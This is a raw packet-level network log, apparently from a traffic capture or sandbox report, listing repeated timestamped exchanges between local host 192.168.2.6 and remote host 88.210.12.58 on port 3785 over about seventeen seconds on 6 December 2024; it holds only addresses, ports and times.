Dec 6, 2024 10:42:59.390259981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.409404993 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.490298986 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.510097027 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.590282917 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.610349894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.691282034 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.711085081 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.792232990 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.811147928 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.892271042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.912898064 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.993284941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.093301058 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.126583099 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.126604080 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.194267988 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.213273048 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.294244051 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.314244032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.396224022 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.414104939 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.494312048 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.516031981 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.598099947 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.614331961 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.696260929 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.717912912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.797247887 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.816183090 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:00.902097940 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:00.917273998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.002106905 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.022042990 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.102102041 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.122226954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.200337887 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.221882105 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.300309896 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.320187092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.400285006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.420170069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.501276970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.520190001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.602268934 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.621120930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.702275991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.722116947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.803261042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.822153091 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:01.903264046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:01.927153111 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.004290104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.026138067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.105240107 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.124546051 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.206274986 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.225353003 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.308121920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.325979948 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.408411980 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.427946091 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.508265972 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.528287888 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.609319925 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.628551006 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.710006952 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.729306936 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.809251070 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.829972029 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:02.914124012 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:02.931175947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:03.011257887 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:03.034060955 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:03.114119053 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:03.132181883 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:03.214112043 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:03.234375000 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:03.312305927 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:03.333954096 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:03.415400982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:03.432260036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:03.519860029 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:03.535352945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:03.641268015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:03.929442883 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.029309988 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.049523115 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.130347967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.149095058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.230330944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.250134945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.334120989 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.351000071 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.431263924 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.453928947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.532259941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.550936937 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.632242918 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.652174950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.732253075 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.752104998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.832320929 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.852250099 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:04.934149981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:04.952143908 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.034122944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.056838989 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.134255886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.154376984 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.238152027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.254065990 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.334301949 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.358283997 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.435288906 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.456645012 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.536272049 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.556051970 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.637254953 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.656173944 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.737286091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.757190943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.838277102 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.857522011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:05.939487934 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:05.958211899 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.039283037 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.059519053 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.139261961 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.159446955 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.240274906 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.259850025 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.340509892 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.360210896 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.446151018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.460468054 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.544143915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.566685915 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.644347906 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.664027929 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.744200945 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.764240980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.845127106 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.864217997 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:06.944166899 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:06.965130091 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.044295073 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.064733028 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.144316912 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.164307117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.246160030 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.264168978 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.345292091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.366058111 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.446331024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.465262890 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.546343088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.566251993 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.646310091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.666450024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.746319056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.766284943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.847301006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.866605997 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:07.948514938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:07.967464924 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.049624920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.068363905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.150327921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.169615984 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.251380920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.270174980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.353189945 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.371491909 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.458256006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.473295927 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.554147959 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.578052044 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.652415991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.674045086 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.754146099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.772682905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.852286100 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.874802113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:08.953280926 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:08.972441912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.053385019 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.073349953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.154329062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.173841953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.254306078 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.275655985 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.354569912 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.374170065 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.455301046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.474616051 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.556365967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.575409889 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.656323910 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.676310062 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.757323980 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.776766062 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.857284069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.877496958 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:09.958318949 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:09.977364063 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.058316946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.078144073 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.158521891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.178178072 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.258290052 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.278533936 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.376758099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.378045082 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.482162952 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.500560999 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.582151890 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.602193117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.680385113 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.702567101 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.781296015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.804708004 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.882168055 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:10.901122093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:10.982160091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.002192974 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.082302094 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.101991892 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.182346106 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.202208042 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.283286095 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.302248001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.383706093 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.403175116 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.483359098 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.504137039 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.584336996 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.603359938 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.684324980 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.704602003 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.785320997 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.805071115 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.885302067 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:11.905159950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:11.986329079 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.006819010 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.086327076 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.106057882 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.187283993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.206607103 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.288427114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.307357073 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.390681982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.408395052 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.494174957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.511120081 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.591344118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.614006996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.691332102 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.723458052 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.792488098 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.812319040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:12.892318010 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:12.912219048 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:13.012155056 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:13.035927057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:13.155893087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:13.445424080 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:13.546365023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:13.565649033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:13.647327900 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:13.666611910 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:13.748372078 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:13.767685890 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:13.848356009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:13.868320942 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:13.949341059 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:13.968379021 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.049442053 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.069617987 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.150321960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.169501066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.250324965 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.270349026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.352344990 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.370209932 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.452181101 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.472224951 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.552228928 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.572063923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.652210951 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.672792912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.752454996 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.772193909 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.852427959 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.872736931 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:14.956381083 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:14.972628117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.056202888 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.076262951 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.156409025 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.176106930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.256213903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.277131081 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.355412960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.376185894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.455347061 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.475532055 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.556360006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.575323105 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.657368898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.676191092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.763957024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.778202057 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.864350080 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.884637117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:15.964385986 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:15.984370947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.065324068 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.084181070 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.166333914 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.186471939 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.266400099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.286282063 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.370181084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.386225939 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.470187902 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.490125895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.570182085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.668332100 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:43:16.724728107 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.724745035 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:43:16.769318104 CET	49737	3785	192.168.2.6	88.210.12.58
